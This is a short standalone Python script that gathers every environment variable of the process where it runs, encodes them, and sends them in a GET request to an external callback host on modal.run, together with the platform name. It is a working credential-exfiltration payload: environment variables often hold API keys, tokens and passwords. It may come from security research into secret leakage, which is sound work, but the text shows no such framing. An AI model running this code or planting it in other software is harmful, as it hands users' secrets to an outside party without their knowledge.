import http.client
import json
import sys
import os
from urllib.parse import urlparse, urlencode, quote_plus
# Serialize os.environ to a JSON string
env_json = json.dumps(dict(os.environ))
# URL-encode the JSON string
env_encoded = quote_plus(env_json)
# Parse the URL
url = "https://zmackie--callback-fastapi-app.modal.run"
parsed_url = urlparse(url)
# Append `env` parameter to the query string
query_string = f"env={env_encoded}"
full_path = parsed_url.path + "?" + query_string if parsed_url.path else "/?" + query_string
# Depending on the scheme, create the correct connection
if parsed_url.scheme == "https":
conn = http.client.HTTPSConnection(parsed_url.netloc)
else:
conn = http.client.HTTPConnection(parsed_url.netloc)
# Prepare headers
headers = {'X-Plat': sys.platform}
# Make the request
conn.request("GET", full_path, headers=headers)
response = conn.getresponse()
print("Status:", response.status, response.reason)
data = response.read().decode()
conn.close()